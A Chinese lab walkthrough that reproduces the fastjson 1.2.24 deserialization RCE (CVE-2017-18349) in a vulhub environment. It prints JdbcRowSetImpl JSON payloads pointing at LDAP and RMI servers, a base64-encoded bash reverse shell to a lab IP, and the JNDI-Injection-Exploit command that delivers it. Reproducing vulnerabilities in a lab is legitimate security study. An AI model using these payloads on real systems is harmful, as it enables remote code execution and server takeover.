zl程序教程

您现在的位置是:首页 >  Java

当前栏目

漏洞复现

2023-02-18 16:48:05 时间

漏洞简介

事项

描述

漏洞概述

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

影响范围

1.2.24及之前版本。

漏洞编号

CVE-2017-18349

漏洞搭建

这里使用vulhub的fastjson/1.2.24-rce进行复现。

访问http://192.168.146.167:37150/

漏洞复现

使用工具进行检测

发现dnslog有数据,说明存在漏洞。

对应的payload

 {"handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://dfk38o.dnslog.cn/aaa","autoCommit":true}}

然后再进行抓包,添入payload,手工再测一遍。发现确实存在。

验证有漏洞之后,就尝试反弹shell。这里使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行进一步的漏洞利用。

 反弹的的ip和端口是192.168.146.161和10000
 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNjEvMTAwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}

执行以下命令,进行反弹shell。

 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNjEvMTAwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}"

由于不知道对方java的版本,所以就一个个试。

然后发现漏洞利用成功

 {"handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://192.168.146.161:1099/vbgahy","autoCommit":true}}

成功反弹了shell。

进入tmp目录下,成功拿到flag。